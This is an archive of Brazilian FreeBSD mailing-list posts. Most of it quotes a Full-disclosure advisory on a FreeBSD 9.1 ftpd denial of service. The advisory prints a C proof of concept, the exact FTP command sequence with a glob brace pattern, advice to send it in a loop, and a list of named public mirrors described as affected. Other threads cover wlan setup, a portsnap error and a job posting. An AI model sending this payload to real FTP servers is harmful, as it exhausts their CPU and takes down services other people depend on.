Re: [FUG-BR] Fwd: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
Em 03/02/13 23:42, Keffer Gmail escreveu: > > Enviado via iPhone > > > Início da mensagem encaminhada > >> De: Maksymilian Arciemowicz >> Data: 1 de fevereiro de 2013 09:33:57 BRST >> Para: full-disclos...@lists.grok.org.uk >> Assunto: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service >> >> FreeBSD 9.1 ftpd Remote Denial of Service >> Maksymilian Arciemowicz >> http://cxsecurity.org/ >> http://cxsec.org/ >> >> Public Date: 01.02.2013 >> URL: http://cxsecurity.com/issue/WLB-2013020003 >> >> Affected servers: >> - ftp.uk.freebsd.org, >> - ftp.ua.freebsd.org, >> - ftp5.freebsd.org, >> - ftp5.us.freebsd.org, >> - ftp10.freebsd.org, >> - ftp3.uk.freebsd.org, >> - ftp7.ua.freebsd.org, >> - ftp2.se.freebsd.org, >> - ftp2.za.FreeBSD.org, >> - ftp2.ru.freebsd.org, >> - ftp2.pl.freebsd.org >> and more... >> >> >> --- 1. Description --- >> I have decided check BSD ftpd servers once again for wildcards. Old >> bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last >> FreeBSD version. >> Attacker, what may connect anonymously to FTP server, may cause CPU >> resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous', >> sending 'STAT' command with special wildchar, enought to create ftpd >> process with 100% CPU usage. >> >> Proof of Concept (POC): >> See the difference between NetBSD/libc and FreeBSD/libc. >> --- PoC --- >> #include >> #include >> >> int main(){ >> glob_t globbuf; >> char >> stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}"; >> glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, >> &globbuf); >> } >> --- PoC --- >> >> --- Exploit --- >> user anonymous >> pass anonymous >> stat >> {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} >> --- /Exploit --- >> >> Result of attack: >> ftp 13034 0.0 0.4 10416 1944 ?? R10:48PM0:00.96 >> ftpd: cxsec.org anonymous/anonymous (ftpd) >> ftp 13035 0.0 0.4 10416 1944 ?? R10:48PM0:00.89 >> ftpd: cxsec.org anonymous/anonymous (ftpd) >> ftp 13036 0.0 0.4 10416 1944 ?? R10:48PM0:00.73 >> ftpd: cxsec.org anonymous/anonymous (ftpd) >> ftp 13046 0.0 0.4 10416 1952 ?? R10:48PM0:00.41 >> ftpd: cxsec.org anonymous/anonymous (ftpd) >> ftp 13047 0.0 0.4 10416 1960 ?? R10:48PM0:00.42 >> ftpd: cxsec.org anonymous/anonymous (ftpd) >> ... >> root13219 0.0 0.3 10032 1424 ?? R10:52PM0:00.00 >> /usr/libexec/ftpd -dDA >> root13225 0.0 0.3 10032 1428 ?? R10:52PM0:00.00 >> /usr/libexec/ftpd -dDA >> root13409 0.0 0.3 10032 1404 ?? R10:53PM0:00.00 >> /usr/libexec/ftpd -dDA >> root13410 0.0 0.3 10032 1404 ?? R10:53PM0:00.00 >> /usr/libexec/ftpd -dDA >> ... >> >> =>Sending: >> STAT >> {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} >> >> =>Result: >> @ps: >> ftp 1336 100.0 0.5 10416 2360 ?? R11:15PM 600:39.95 >> ftpd: 127.0.0.1: anonymous/anonym...@cxsecurity.com: \r\n (ftpd)$ >> @top: >> 1336 root1 1030 10416K 2360K RUN600:53 100.00% ftpd >> >> one request over 600m (~10h) execution time and 100% CPU usage. This >> issue allow to create N ftpd processes with 100% CPU usage. >> >> Just create loop while(1) and send these commands >> --- >> user anonymous >> pass anonymous >> stat >> {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} >> --- >> >> NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011) >> http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2 >> >> The funniest is that freebsd use GLOB_LIMIT in ftpd server. >> http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c >> --- >> if (strpbrk(whichf, "~{[*?") != NULL) { >> int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE; >> >> memset(&gl, 0, sizeof(gl)); >> gl.gl_matchc = MAXGLOBARGS; >> flags |= GLOB_LIMIT; >> freeglob = 1; >> if (glob(whichf, flags, 0, &gl)) { >> --- >> >> but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU >> resource exhaustion. ;] >> >> Libc was also vulnerable in Apple
Re: [FUG-BR] Fwd: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
Em 04/02/13 08:21, Marcelo Gondim escreveu: > Em 03/02/13 23:42, Keffer Gmail escreveu: >> Enviado via iPhone >> >> >> Início da mensagem encaminhada >> >>> De: Maksymilian Arciemowicz >>> Data: 1 de fevereiro de 2013 09:33:57 BRST >>> Para: full-disclos...@lists.grok.org.uk >>> Assunto: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service >>> >>> FreeBSD 9.1 ftpd Remote Denial of Service >>> Maksymilian Arciemowicz >>> http://cxsecurity.org/ >>> http://cxsec.org/ >>> >>> Public Date: 01.02.2013 >>> URL: http://cxsecurity.com/issue/WLB-2013020003 >>> >>> Affected servers: >>> - ftp.uk.freebsd.org, >>> - ftp.ua.freebsd.org, >>> - ftp5.freebsd.org, >>> - ftp5.us.freebsd.org, >>> - ftp10.freebsd.org, >>> - ftp3.uk.freebsd.org, >>> - ftp7.ua.freebsd.org, >>> - ftp2.se.freebsd.org, >>> - ftp2.za.FreeBSD.org, >>> - ftp2.ru.freebsd.org, >>> - ftp2.pl.freebsd.org >>> and more... >>> >>> >>> --- 1. Description --- >>> I have decided check BSD ftpd servers once again for wildcards. Old >>> bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last >>> FreeBSD version. >>> Attacker, what may connect anonymously to FTP server, may cause CPU >>> resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous', >>> sending 'STAT' command with special wildchar, enought to create ftpd >>> process with 100% CPU usage. >>> >>> Proof of Concept (POC): >>> See the difference between NetBSD/libc and FreeBSD/libc. >>> --- PoC --- >>> #include >>> #include >>> >>> int main(){ >>> glob_t globbuf; >>> char >>> stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}"; >>> glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, >>> &globbuf); >>> } >>> --- PoC --- >>> >>> --- Exploit --- >>> user anonymous >>> pass anonymous >>> stat >>> {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} >>> --- /Exploit --- >>> >>> Result of attack: >>> ftp 13034 0.0 0.4 10416 1944 ?? R10:48PM0:00.96 >>> ftpd: cxsec.org anonymous/anonymous (ftpd) >>> ftp 13035 0.0 0.4 10416 1944 ?? R10:48PM0:00.89 >>> ftpd: cxsec.org anonymous/anonymous (ftpd) >>> ftp 13036 0.0 0.4 10416 1944 ?? R10:48PM0:00.73 >>> ftpd: cxsec.org anonymous/anonymous (ftpd) >>> ftp 13046 0.0 0.4 10416 1952 ?? R10:48PM0:00.41 >>> ftpd: cxsec.org anonymous/anonymous (ftpd) >>> ftp 13047 0.0 0.4 10416 1960 ?? R10:48PM0:00.42 >>> ftpd: cxsec.org anonymous/anonymous (ftpd) >>> ... >>> root13219 0.0 0.3 10032 1424 ?? R10:52PM0:00.00 >>> /usr/libexec/ftpd -dDA >>> root13225 0.0 0.3 10032 1428 ?? R10:52PM0:00.00 >>> /usr/libexec/ftpd -dDA >>> root13409 0.0 0.3 10032 1404 ?? R10:53PM0:00.00 >>> /usr/libexec/ftpd -dDA >>> root13410 0.0 0.3 10032 1404 ?? R10:53PM0:00.00 >>> /usr/libexec/ftpd -dDA >>> ... >>> >>> =>Sending: >>> STAT >>> {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} >>> >>> =>Result: >>> @ps: >>> ftp 1336 100.0 0.5 10416 2360 ?? R11:15PM 600:39.95 >>> ftpd: 127.0.0.1: anonymous/anonym...@cxsecurity.com: \r\n (ftpd)$ >>> @top: >>> 1336 root1 1030 10416K 2360K RUN600:53 100.00% ftpd >>> >>> one request over 600m (~10h) execution time and 100% CPU usage. This >>> issue allow to create N ftpd processes with 100% CPU usage. >>> >>> Just create loop while(1) and send these commands >>> --- >>> user anonymous >>> pass anonymous >>> stat >>> {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} >>> --- >>> >>> NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011) >>> http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2 >>> >>> The funniest is that freebsd use GLOB_LIMIT in ftpd server. >>> http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c >>> --- >>> if (strpbrk(whichf, "~{[*?") != NULL) { >>> int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE; >>> >>> memset(&gl, 0, sizeof(gl)); >>> gl.gl_matchc = MAXGLOBARGS; >>> flags |= GLOB_LIMIT; >>> freeglob = 1; >>> if (glob(
Re: [FUG-BR] Fwd: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
2013/2/4 Marcelo Gondim > Em 04/02/13 08:21, Marcelo Gondim escreveu: > > Em 03/02/13 23:42, Keffer Gmail escreveu: > [...] > > > Já mandei pro secteam. :) Ainda bem que é só um DoS sem acesso à root. > > O estranho é que o pessoal do NetBSD e OpenBSD corrigiu faz tempo isso e > > no FreeBSD parece que não. > Já responderam. :) Eles são muito rápidos, acredito que logo logo isso > será resolvido: > > >Dear Gondim, > > > >We are aware of the information you are sending us and are currently > looking at > >whether this indeed impacts us, and what our remedy would be in case > it does impact > >us. > > > >Thanks for bringing this to our attention! > > > >Cheers > >Remko > > Temos um servidor FTP mas usamos o excelente pure-ftpd, que é muito superior ao da base. Creio que estamos a salvo deste bug... - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] problemas com wlan
Em Fri, 01 Feb 2013 21:12:45 -0200, Paulo Olivier Cavalcanti escreveu > Em 01/02/2013 20:59, Nilton Jose Rizzo escreveu: > > Em Fri, 01 Feb 2013 20:56:02 -0200, Paulo Olivier Cavalcanti escreveu > >> Em 01/02/2013 19:33, Nilton Jose Rizzo escreveu: > >>> Boa tarde, > >>> > >>> gostaria de uma ajuda, > >>> > >>> Comprei um adaptador da Pacific Network, o freeBSD oi reconhece e > >>> intala > >>> os drivers da run0, configure e roda 100%. Porém não consegui faze-lo bootar > >>> e reconhece-lo no boot, tenho que desconectar e reconectar da USB, só > >>> assim > >>> ele o reconhece. o dmesg não fala nada que o encontrou durante o boot, e > >>> como eu quero usa-lo como um AP, ficou meio inviável ... > >>> > >>>Alguem tem alguma dica ou uma luz??? > >>> > >> Boa noite, Rizzo. > >> > >> Basta colocar o carregamento do driver no /boot/loader.conf > >> > >> No meu caso uso o adaptador D-Link e chamo ele assim: runfw_enable="YES" > > Eu puz no load.conf assim: > > > > run_load="YES" > > > > olhando no manual ele necessita tbm desse modulo, mas achei que carregava > > automático ...vou ver isso > > > > Ops eu coloquei errado, é runfw_load="YES" e não *enable. > > Se você colocou o driver correto no loader.conf então ele irá reconhecer > o adaptador. Tem certeza que é "run" mesmo? Só para constar no histório da lista a minha solução foi: /boot/loader.conf if_run_load="YES" runfw_load="YES" /etc/rc.conf create_args_wlan="wlandev run0 wlanmode ap" ifconfig_wlan="inet A.B.C.D netmask 255.255.255.X channel 10 ssid MY_NET mode 11b WPA" Ainda ficou uma dúvida qual o servidor de dhcp vocês utilizam? irei usar pela primeira vez um (para casa tudo é possível ) e verifiquei que existem dois no ports wide-dhcd e isc-dhcpd4X-server, porém esse último não achei como fazer para colocar dhcp em duas nics ( cabo e wireless ) tem tbm o dualserver ( dns + dhcpd ) mas não consegui fazer funcionar o cenário é o seguinte: Pertence à Net <...|./ Wireless Celulares, Tableds e notes NetVirtual<->Modem<->FreeBSD ou pfSense-/ \ .\ Cabo <-> 2 Desktop > > -- > http://about.me/paulocavalcanti > > - > Histórico: http://www.fug.com.br/historico/html/freebsd/ > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] Fwd: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
2013/2/4 Paulo Cavalcanti : > 2013/2/4 Marcelo Gondim > >> Em 04/02/13 08:21, Marcelo Gondim escreveu: >> > Em 03/02/13 23:42, Keffer Gmail escreveu: >> [...] >> >> > Já mandei pro secteam. :) Ainda bem que é só um DoS sem acesso à root. >> > O estranho é que o pessoal do NetBSD e OpenBSD corrigiu faz tempo isso e >> > no FreeBSD parece que não. >> Já responderam. :) Eles são muito rápidos, acredito que logo logo isso >> será resolvido: >> >> >Dear Gondim, >> > >> >We are aware of the information you are sending us and are currently >> looking at >> >whether this indeed impacts us, and what our remedy would be in case >> it does impact >> >us. >> > >> >Thanks for bringing this to our attention! >> > >> >Cheers >> >Remko >> >> > > Temos um servidor FTP mas usamos o excelente pure-ftpd, que é muito > superior ao da base. Creio que estamos a salvo deste bug... > - > Histórico: http://www.fug.com.br/historico/html/freebsd/ > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd Por isso que eu desabilito o inetd e só uso o pure-ftpd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
[FUG-BR] Portsnap Fetch error
Bom dia amigos, estou tentando executar o portsnap fetch para atualizar a arvore de ports de um BSD e esta me retornando o seguinte error abaixo, alguem tem uma luz sobre este problema ? Como adiciono esta URL ? O BSD é um 5.4-RELEASE # portsnap fetch portsnap: URL must be given via command line or configuration file. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
[FUG-BR] Oportunidade em SP - (administrador de redes senior)
Oportunidade em SP Vaga para estrutura de "gestão WAN (administrador de redes senior)" - empresa de Capital Aberto sediada em SP: Requisitos necessários: Auto-didata Responsabilidade / comprometimento / disponibilidade Conhecimentos solidos em Redes FreeBSD / PFsense / Linux Quagga / Cisco Roteamento BGP / Estatico Firewall / Pf / iptables / ipfw Qos / Shape (dummynet / altq) VPN Ipsec Scripts Shell Requisitoes almejados (mas não necessários) CCNP LPI 2xx Ingles intermediário Atuanção em SP - regime de CLT + benefícios. Interessados favor enviar email para: bs...@bsdux.com.br -- Att Christopher Giese bs...@bsdux.com.br "Just one Life, Live it" - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] Fwd: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
Em 04/02/2013 13:10, Leonardo Augusto escreveu: > [...] > > Por isso que eu desabilito o inetd e só uso o pure-ftpd > Nós já experimentamos vários, mas não existe nada melhor que o pure-ftpd. É o único que lida bem com clientes ftp mal escritos, como os ftp's que vem com o IE, Firefox e Opera. E sem mencionar a versatilidade, rapidez, segurança... o bicho faz mágica! Pure-ftpd é o melhor servidor ftp da galáxia. -- http://about.me/paulocavalcanti - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] Portsnap Fetch error
Em 04/02/2013, às 14:49, Deni escreveu: > Bom dia amigos, estou tentando executar o portsnap fetch para atualizar a > arvore de ports de um BSD e esta me retornando o seguinte error abaixo, > alguem tem uma luz sobre este problema ? Como adiciono esta URL ? > O BSD é um 5.4-RELEASE > > # portsnap fetch > portsnap: URL must be given via command line or configuration file. 1- man portsnap 2- portsnap com o parametro -s - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd